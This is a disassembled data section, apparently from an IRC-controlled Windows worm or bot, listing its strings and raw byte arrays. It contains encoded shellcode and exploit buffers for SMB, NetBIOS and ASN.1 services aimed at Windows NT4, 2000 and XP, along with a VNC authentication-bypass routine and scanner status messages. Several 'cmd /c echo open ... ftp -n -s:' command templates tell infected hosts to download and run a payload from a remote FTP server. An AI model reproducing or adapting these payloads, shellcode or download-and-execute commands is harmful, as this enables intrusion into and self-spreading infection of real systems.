aM_0 db '[M]',0 ; DATA XREF: sub_40B3A7+2Co
; char aDS[]
aDS db '[%d]%s',0 ; DATA XREF: sub_40B3A7+3Ao
align 4
aMirc_1 db 'mIRC',0 ; DATA XREF: sub_40B3A7:loc_40B3F6o
align 4
; char aM_1[]
aM_1 db '[M]',0 ; DATA XREF: sub_40B3A7+5Co
dword_4480A8 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40B64F+C4o
db 66h, 0B9h
word_4480B6 dw 0FFFFh ; DATA XREF: sub_40B64F+CCw
db 80h, 73h, 0Eh
byte_4480BB db 0FFh ; DATA XREF: sub_40B64F+D3w
dd 0F9E243h
dword_4480C0 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40B64F+A2o
db 0B1h
byte_4480CD db 0FFh ; DATA XREF: sub_40B64F+AAw
dw 7380h
db 0Ch
byte_4480D1 db 0FFh ; DATA XREF: sub_40B64F+B0w
dw 0E243h
dd 0F9h
dword_4480D8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_40B4D8+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_44813C dd 12h ; DATA XREF: sub_40B4D8+3Dw
dd 70746674h, 6578652Eh, 20692D20h
aGet db ' get ',0 ; DATA XREF: sub_40B4D8+79o
; sub_40B4D8+9Bo
aJ_0 db 'j',0
db 0E8h
dword_448155 dd 17h ; DATA XREF: sub_40B4D8+4Dw
db 75h, 1, 0C3h
db 0E8h
dword_44815D dd 1 ; DATA XREF: sub_40B4D8+45w
byte_448161 db 0, 6Ah, 0 ; DATA XREF: sub_40B4D8+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_44816B dd 0FFFFFFEDh ; DATA XREF: sub_40B4D8+5Dw
db 0C3h
dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h, 44B0AAF3h
dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h
dd 0C3h
dword_44819C dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
; DATA XREF: sub_40B813+10o
; char aD_S_0[]
aD_S_0 db '%d. %s',0 ; DATA XREF: sub_40B813+46o
align 4
; char aSSStopped_DThr[]
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B9E4+35o
align 10h
; char aSNoSThreadFoun[]
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B9E4+51o
align 4
aSym db 'sym',0 ; DATA XREF: sub_40C951+169o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40BE3A+30o
align 4
dd 5 dup(0)
dword_448220 dd 0B97h ; DATA XREF: sub_401CC7+1D91r
; sub_401CC7+1DBAo ...
off_448224 dd offset sub_40EB28 ; DATA XREF: sub_40C951+1EAr
dword_448228 dd 0 ; DATA XREF: sub_40BCAA+2Eo
; sub_40DB0C+19Ew ...
dword_44822C dd 1 ; DATA XREF: sub_40C12D+1Fr
dword_448230 dd 1 ; DATA XREF: sub_40C12D+3B3r
dword_448234 dd 0 ; DATA XREF: sub_40C12D+292r
dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch
dd offset sub_40EC5E
dd 0
dd 2 dup(1), 0
aNet139 db 'net139',0
align 10h
dd 654E0000h, 69706174h, 393331h, 5 dup(0)
dd 8Bh
dd offset sub_40E9BD
dd 0
dd 2 dup(1), 0
aNet445 db 'net445',0
align 10h
dd 654E0000h, 69706174h, 353434h, 5 dup(0)
dd 1BDh
dd offset sub_40E9BD
dd 0
dd 2 dup(1), 0
aAsn80 db 'asn80',0
align 10h
dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
dd 50h
dd offset sub_40DB0C
dd 0
dd 2 dup(1), 0
aAsn445 db 'asn445',0
align 10h
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh
dd offset sub_40DB0C
dd 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 10h
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh
dd offset sub_40DB0C
dd 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
dd 6D7973h, 0
db 2 dup(0)
byte_448402 db 1 ; DATA XREF: sub_401CC7:loc_4039D1r
; sub_401CC7+1D14o
db 76h
dd 636Eh, 0
dd 656E0100h, 39333174h, 0
dd 74656E01h, 353434h, 1000000h, 346E7361h, 3534h, 10000h
dd 3 dup(0)
dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh
dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h
dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h
dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h
dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh
dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah, 9912589Ah
dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h
dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h
dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh, 1059AA24h
dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h
dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h, 10A1DF10h
dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh
dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h
dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h
dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h
dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh
dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h
dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh
dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh
dd 99h
; char asc_4485BC[]
asc_4485BC db '-' ; DATA XREF: sub_40BCAA+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
; char asc_4485DC[]
asc_4485DC db ' ' ; DATA XREF: sub_40BCAA+46o
db 3, 37h, 25h
dd 203A0373h, 2C6425h
; char aTotalDInS_[]
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40BCAA+86o
align 4
; char asc_4485FC[]
asc_4485FC db '-' ; DATA XREF: sub_40BD79+38o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
; char asc_448644[]
asc_448644 db '-' ; DATA XREF: sub_40BDE5+22o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 10h
; char asc_448670[]
asc_448670 db '-' ; DATA XREF: sub_40BE3A+14o
db 3, 34h, 2
dd 6E616373h, 202D0302h, 6C707845h, 2074696Fh, 7473694Ch
dd 3Ah
; char asc_44868C[]
asc_44868C db ' ' ; DATA XREF: sub_40BE3A+40o
db 3, 37h, 25h
dd 28200373h, 73253403h, 2C2903h
; char aScanTimeS_[]
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BE3A+7Fo
; char asc_4486AC[]
asc_4486AC db '-' ; DATA XREF: sub_40BF01+80o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 4
; char asc_4486DC[]
asc_4486DC db '-' ; DATA XREF: sub_40BF01+172o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
; char asc_448710[]
asc_448710 db '-' ; DATA XREF: sub_40C0B6+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
; char asc_44872C[]
asc_44872C db '-' ; DATA XREF: sub_40C0B6+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 4
; char asc_44874C[]
asc_44874C db '-' ; DATA XREF: sub_40C12D+DAo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_2 db ' Server started on Port: %d, File: %s.',0
align 10h
; char asc_448780[]
asc_448780 db '-' ; DATA XREF: sub_40C12D+148o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_35 db ' Failed to start server, error: <%d>.',0
align 4
; char asc_4487B4[]
asc_4487B4 db '-' ; DATA XREF: sub_40C12D+1FEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 4
; char asc_4487E8[]
asc_4487E8 db '-' ; DATA XREF: sub_40C12D+26Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_36 db 'Failed to start server, error: <%d>.',0
align 4
; char asc_44881C[]
asc_44881C db '-' ; DATA XREF: sub_40C12D+321o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_4 db '- Server started on Port: %d.',0
align 4
; char asc_44884C[]
asc_44884C db '-' ; DATA XREF: sub_40C12D+38Fo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_37 db '- Failed to start server, error: <%d>.',0
; char asc_448884[]
asc_448884 db '-' ; DATA XREF: sub_40C12D+449o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_1 db ' Server listening on IP: %s:%d, Directory: %s\.',0
; char asc_4488C0[]
asc_4488C0 db '-' ; DATA XREF: sub_40C12D+4B7o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_38 db ' Failed to start server, error: <%d>.',0
align 4
; char aD_D_D_D_0[]
aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_40C64B+38o
aSocketOpenFail db 'socket open failed',0 ; DATA XREF: .text:0040C879o
align 4
aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: .text:0040C8B0o
aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: .text:0040C90Ao
align 4
aSocketOpen_ db 'Socket open.',0 ; DATA XREF: .text:0040C92Fo
align 4
aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: .text:loc_40C93Fo
align 4
; char asc_448978[]
asc_448978 db '-' ; DATA XREF: sub_40C951+93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; char asc_4489B0[]
asc_4489B0 db '-' ; DATA XREF: sub_40C951+EEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
; char asc_4489D8[]
asc_4489D8 db '-' ; DATA XREF: sub_40CB69+87o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
; char asc_448A0C[]
asc_448A0C db '-' ; DATA XREF: sub_40CB69+103o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
; char asc_448A40[]
asc_448A40 db '-' ; DATA XREF: sub_40CB69+173o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
; char asc_448A78[]
asc_448A78 db '-' ; DATA XREF: sub_40CB69+1CEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
; char asc_448AB8[]
asc_448AB8 db '-' ; DATA XREF: sub_40CDC8+92o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0
align 10h
; char asc_448AE0[]
asc_448AE0 db '-' ; DATA XREF: sub_40CE95+41o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
; char asc_448B08[]
asc_448B08 db '-' ; DATA XREF: sub_40CF86+41o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
; char asc_448B34[]
asc_448B34 db '-' ; DATA XREF: sub_40CF86+D1o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 10h
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40D335+B2o
align 4
dword_448B6C dd 10FF8h, 0 ; DATA XREF: sub_40D335+6Ao
dword_448B74 dd 10FF8h ; DATA XREF: sub_40D335+79o
dword_448B78 dd 7FFDF020h, 0 ; DATA XREF: sub_40D335+162o
dword_448B80 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D75F+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
aLanman1_0 db 'LANMAN1.0',0
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
aLm1_2x002 db 'LM1.2X002',0
dw 4C02h
aAnman2_1 db 'ANMAN2.1',0
db 2, 4Eh, 54h
aLm0_12 db ' LM 0.12',0
align 4
dword_448C08 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D75F+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_448C38 dd 0 ; DATA XREF: sub_40D75F+44o
dd 800000D4h, 0
unk_448C44 db 81h ; ; DATA XREF: sub_40D839+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
align 10h
byte_448C90 db 41h ; DATA XREF: sub_40D8D7+FFr
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
aSvwfbA db 'SVWf',0 ; DATA XREF: sub_40DB0C+82o
aIcsa db '',0
db 2 dup(0), 0FFh
dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h
dd 6B680476h, 0E8CA2BD0h, 0E2h, 0E80C4689h, 3Fh, 680476FFh
dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h
dd 0B9C78910h, 410h, 315EA4F3h, 505050C0h, 0FF505053h
dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh, 23E8h
dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h
dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h, 0FF64D231h
dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh
dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h, 8B7FFDF0h
dd 8468B1Fh, 7F8B0789h, 78C781F8h, 89000001h, 741939F9h
dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh, 891189F6h
dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh
dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h
dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h
dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h
dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh
dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0
dword_448E3C dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh
; DATA XREF: sub_40DB0C+30o
dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh
dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
dword_448ECC dd 23h ; DATA XREF: sub_40D2DA+1Bo
; char dword_448ED0[]
dword_448ED0 dd 909006EBh, 90909090h, 0 ; DATA XREF: sub_40D335+E8o
; char aCccc[]
aCccc db 'CCCC',0 ; DATA XREF: sub_40D335+153o
align 4
dword_448EE4 dd 3 ; DATA XREF: sub_40D335+246o
; char dword_448EE8[]
dword_448EE8 dd 0A1h ; DATA XREF: sub_40D335+29Fo
; char dword_448EEC[]
dword_448EEC dd 30h ; DATA XREF: sub_40D335+2CAo
; char dword_448EF0[]
dword_448EF0 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40D335+2F5o
; char dword_448EFC[]
dword_448EFC dd 60h ; DATA XREF: sub_40D335+320o
; char aCmdCEchoOpenSD[]
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: sub_40DB0C+57o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 8
dword_448F68 dd 0E983C933h, 0D9EED9AFh, 5BF42474h, 0BB137381h, 836AD31Eh
; DATA XREF: sub_40E3C7+2B3o
dd 0F4E2FCEBh, 25387447h, 952CE753h, 6587E44h, 2F583A9Fh
dd 6FAF9587h, 0E13C1FC3h, 355806F4h, 89381F9Bh, 5E58578Bh
dd 5B3D1F30h, 0EE7F877Bh, 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
dd 89A6369Fh, 6BF74130h, 66587850h, 768C95F0h, 46D0F5BAh
dd 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh, 0C7CF6E30h
dd 34DB5E30h, 649D90D3h, 0BC2C4E57h, 39B5C58Ah, 58E076DDh
dd 58A069D3h, 0BA2C4AE4h, 963ED5D3h, 0BC2C4E80h, 0C3697E4h
dd 68DBF33Ah, 95D174EEh, 630A766Bh, 9584B34Eh, 39804D6Dh
dd 39904DE8h, 0BA2C4DF8h, 0FD376DDh, 8B5A4DDDh, 7077762Eh
dd 9584D9CBh, 3BC3746Dh, 203E1EEh, 83FDB31Fh, 3905E1ECh
dd 203E1EEh, 2355575Eh, 3A05E1ECh, 95864AEFh, 8DBB8D6Bh
dd 3DAAD8C2h, 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h
dd 0E31F37E2h, 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h
dd 0C1EB6436h, 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h
dd 6BB94FEAh, 3B864FEAh, 0C7BBCE44h, 391D1B62h, 95B9C844h
dd 0BA2C2944h, 0E92F4930h, 0BC2C7A7Fh, 203E1E9h, 0A33D054h
dd 9505E1E8h, 6AD31E6Bh, 0
dword_4490C8 dd 0EFFFC481h, 44FFFFh ; DATA XREF: sub_40E3C7+29Ao
dd offset aWindowsNt42000 ; "Windows NT4, 2000 (SP0-SP4)"
dword_4490D4 dd 42Ah ; DATA XREF: sub_40E3C7+24Dr
dword_4490D8 dd 3E8h ; DATA XREF: sub_40E3C7+2BEr
dword_4490DC dd 258h ; DATA XREF: sub_40E3C7+290r
byte_4490E0 db 1 ; DATA XREF: sub_40E3C7+1F9r
; sub_40E3C7+2C7r
align 4
dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)"
dd 2C6h, 264h, 0
dd 1
dword_4490F8 dd 20804h ; DATA XREF: sub_40E2CBr
; sub_40E3C7+2E5o ...
aWindowsNt42000 db 'Windows NT4, 2000 (SP0-SP4)',0 ; DATA XREF: .data:004490D0o
aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .data:004490E4o
align 10h
; char a__6[]
a__6 db '.',0 ; DATA XREF: sub_40E3C7+10o
align 4
; char aSIpc[]
aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40E3C7+33o
align 10h
; char aSPipeBrowser[]
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_40E3C7+84o
align 4
dword_449154 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: sub_40E3C7+F5o
dword_449168 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_40E3C7+151o
dword_44917C dd 2EBh, 0 ; DATA XREF: sub_40E3C7+221o
; char aCmdCEchoOpen_0[]
aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40E8CF+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4491F8 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EB28+5Ao
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 4
; char aCmdCEchoOpen_1[]
aCmdCEchoOpen_1 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40EA11+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
word_44A480 dw 1 ; DATA XREF: sub_40EC5E+Ar
align 4
; char aRfb03d_03d[]
aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: sub_40EC5E+93o
align 4
; char aVncD_DSSAuthby[]
aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: sub_40EC5E+1FCo
